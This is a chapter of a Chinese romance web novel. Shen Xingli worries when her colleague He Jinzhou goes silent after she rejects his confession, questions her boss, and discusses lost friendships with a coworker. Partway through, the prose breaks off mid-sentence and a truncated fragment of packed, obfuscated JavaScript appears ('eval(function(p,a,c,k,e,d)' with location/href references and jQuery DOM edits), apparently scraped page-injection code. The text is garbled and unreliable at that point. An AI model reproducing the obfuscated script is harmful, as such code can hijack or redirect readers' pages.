46. chapter 46

    第二天一早,沈星黎醒来时,天已经大亮。


    阳光透过窗帘的缝隙洒进房间,空气中弥漫着一丝清晨的凉意。


    她睡眼惺忪的缓慢起身,昨晚睡的很不好,“好久没失眠了”沈星黎伸了个懒腰,“难道是最近压力太大了”她自话自说着,伸手扯了扯自己的脸颊。


    有点疼,但也很清醒。


    她掀开被子,起身穿上拖鞋,开机仪式,....发呆。


    沈星黎像是想起了什么,伸手摸索着去够床头的手机,下意识地拿过手机,屏幕上没有任何未读消息。她点开微信,昨天给贺锦州发的消息,依旧没有收到回复。


    她不死心,又给贺锦州发了一条消息:“今天的工作安排有变动吗?需要我提前准备什么吗?”


    消息发出去后,她等了片刻,依然没有回复。她又拨通了他的电话,电话那头传来冰冷的提示音:“您拨打的电话暂时无法接通,请稍后再拨。”


    沈星黎的心一下子揪紧了,随之而来的是气愤。“他不会因为我拒绝了他,跑去跳河吧,不会不会哈,应该就是把我拉黑了,或者没看见消息”


    她碎碎念叨着,贺锦州从来不会这样,就算再忙,他也会提前告诉她一声。“怎么办,不如去工作室看看”她迅速从床上爬起来,换好衣服,简单洗漱了一下,抓起包就冲出了门。


    一路上,她的脑子里乱糟糟的,她甚至不知道这份情感的来源是什么,或许她的心里也是有那么一点点好感的,“不行不行,这和渣女有什么区别。”她胆瑟的摇了摇头,脑海中浮现出了顾清扬那张带着野兽独有的占有压迫感的脸。


    “咦,可怕。”


    到了公司,沈星黎直奔贺锦州的办公室。推开门,里面空无一人,桌上的电脑也没开。她站在门口,心里一阵发慌。这时,老板陈方洲正好从走廊经过,看到她站在那儿,便走了过来。


    “星黎,你干嘛呐?”陈方洲问道,语气里带着一丝疑惑。


    沈星黎转过身,看到陈方洲,心里稍微安定了一些。她急忙走上去拉着他的袖子朝着他的办公室走去


    陈方洲;“诶,怎么,怎么啦,这是公司,诶,我帽子。”


    陈方洲没脾气的坐在椅子上,看着一脸郁闷的沈星黎:“姑奶奶,我没惹你吧”


    她有些微怒的神色变了变,沉思后问道:“陈总,您知道贺锦州去哪儿了吗?我今早联系不上他,他也没来公司。昨天也没来。”


    陈方洲叹了口气,拿起玻璃杯抿了一口茶水,不紧不慢的说着“嗐,就这事啊,我还以为发生啥大不了的事了。”


    沈星黎一把按在桌子上,为此还吓了陈方洲一大跳,“快说。”


    陈方州皱了皱眉,似乎有些意外:“他没告诉你吗?他今天一早就回总部了,说是要去汇报修复工作组的进展。”


    “回总部?”沈星黎愣了一下,“可他一点都没提啊。”


    陈方州耸了耸肩:“可能是临时决定的吧。你也知道,总部那边最近对修复工作组的进展很关注,贺锦州作为负责人,压力不小。”


    沈星黎咬了咬唇,心里还是有些不安。贺锦州从来不会这样不告而别,更何况是回总部这么重要的事情。她总觉得哪里不对劲,但又说不上来。


    “陈总,您知道他什么时候回来吗?”她问道。


    陈方州摇了摇头:“这个我不清楚,不过应该不会太久。你也不用太担心,贺锦州做事一向稳妥,可能是临时有事,没来得及告诉你。”


    沈星黎点了点头,勉强挤出一丝笑容:“谢谢陈总,我知道了。”


    陈方州拍了拍她的肩膀,安慰道:“别想太多,先去工作吧。等他回来,你再好好问问他。你....怎么这么关心他”


    他笑眯眯的看着沈星黎,有些八卦的问道。


    “呵呵,你这话...敢说第二次吗”


    陈方洲像是反应过来了什么,急忙捂住了自己的嘴巴。


    沈星黎回到自己的工位上,心里却怎么也静不下来。她打开电脑,盯着屏幕发呆,脑子里全是贺锦州的影子。她忍不住又拿起手机,给他发了一条消息:“你到底去哪儿了?为什么不接电话?我很担心你。”


    消息发出去后,她盯着手机屏幕,期待着贺锦州的回复。然而,时间一分一秒地过去,手机依旧没有任何动静。


    沈星黎的心却越来越沉。她开始回想那天的细节,试图找出一些线索。参加晚宴的前一天他们一起加班到很晚,贺锦州看起来一切正常,甚至还和她开玩笑说:“等这个项目结束了,咱们团队得好好庆祝一下。”


    就因为我婉拒了他的表白吗,不至于,她认识的贺锦州不是这样的人,可今天,他却突然消失了,连一句交代都没有。


    沈星黎深吸了一口气,努力让自己冷静下来。她知道,贺锦州是个极其负责的人,不会无缘无故失联。也许真的是总部那边有急事,他来不及通知她。


    她打开电脑,开始处理手头的工作。然而,她的心思却始终无法集中。每隔几分钟,她就会忍不住看一眼手机,期待着贺锦州可以回消息。


    时间一点一点过去,直到下午,贺锦州依旧没有任何消息。沈星黎终于坐不住了,她决定去找陈方州再问个清楚。


    她敲了敲陈方州办公室的门,听到里面传来一声“进来”,便推门走了进去。


    “陈总,我还是有点担心贺锦州。”沈星黎直截了当地说道,“他平时不会这样失联的,您能不能帮我联系一下总部,问问他的情况?”


    陈方洲抬起头,看着沈星黎焦急的神情,沉默了片刻,最终点了点头:“好吧,我帮你问问。”


    他拿起电话,拨通了总部的号码。沈星黎站在一旁,心跳加速,手心微微出汗。


    电话接通后,陈方洲简单说明了一下情况,随后点了点头:“好的,我知道了,谢谢。”


    挂断电话后,他看向沈星黎,语气平静:“总部那边说,贺锦州确实在那边,不过他现在在开会,不方便接电话。等他忙完了,会联系你的。”


    沈星黎松了一口气,但心里依旧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15131737|158932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有些不安。她点了点头,轻声说道:“谢谢陈总。”


    走出陈方州的办公室,沈星黎的心情稍微平复了一些。她告诉自己,贺锦州没事,他只是太忙了。可内心深处,那种莫名的焦虑却始终挥之不去。


    她回到工位上,继续工作,但心思却始终无法完全集中。


    阿金看着心绪不宁的沈星黎“师父,你怎么了,一整天的心神不宁”


    她张了张口,有些无从说起,只好犹豫着“没事,昨晚失眠没休息好。”


    沈星黎喝了口水,开始沉思自己对于贺锦州的情感到底算是什么,是朋友,还是家人,又或许她对他的确有好感。


    付晓雪看着一脸忧郁,闷闷不乐的模样,“怎么,星黎,可有心事,看你这一整天都闷闷不乐的。”


    “晓雪,如果你遇到了一个人,他和你表白,可你对他没有非分之想,只是单纯的有好感,你会怎么选择。”


    付晓雪托着腮,沉思了片刻:“如果不喜欢,干嘛要同意,直接拒绝就好了。”


    “拒绝之后,还能做朋友吗”


    付晓雪笑了笑,“大姐,想什么呢,怎么可能还做到了朋友,尤其是那种低头不见抬头见的朋友,多尴尬呀。”


    “是真的无法做朋友吗”


    付晓雪认真的想了想,回道:“大部分情况是这样。”


    沈星黎有些泄气的呆坐在工位上“我们真的成不了朋友了吗,原来是故意躲着我啊”


    她有些闷闷不乐的在脑海里将和贺锦州相处的回忆回想了一遍,她是真的不希望失去一个朋友,她从小朋友就很少,何昭月算一个,贺锦州也算一个。


    付晓雪:“当一方表达出超越友谊的情感时,原有的平衡就会被打破,即使双方都希望维持友谊,也可能因为尴尬、压力或情感上的不对等而难以回到从前。这并不意味着表白本身是错误的,而是情感的自然流动和人际关系的复杂性所致,很正常的”


    付晓雪看出沈星黎的忧愁,开始旁敲侧击的问:“你……不会是贺老师给你表白了吧”


    沈星黎听到这句话,猛地回过神来,脸上闪过一丝慌乱,连忙摆手否认:“啊……不是不是,是我的一个朋友,最近问了我这个问题。”她的声音有些急促,显然是在掩饰什么。


    付晓雪挑了挑眉,显然不太相信这个解释。


    她放下手中的文件,双手抱胸,靠在桌边,意味深长地看着沈星黎:“哦,这样吗?可最近你和贺老师之间怪怪的,总感觉有点不对劲。”


    她顿了顿,语气中带着几分调侃,“不过也是,你已经和顾总结婚了,贺老师这样的,也不知道他喜欢的女孩,该是什么样的。”


    沈星黎低下头,手指无意识地绞着衣角,心里却翻涌着复杂的情绪。


    表白是勇敢的,接受或拒绝也是勇敢的。


    友谊的珍贵在于真诚,即使无法继续,也无需遗憾。


    想来我们都没错,错的只是在错误的时间遇见了彼此,要不没有顾清扬,她或许真的会喜欢上贺锦州吧。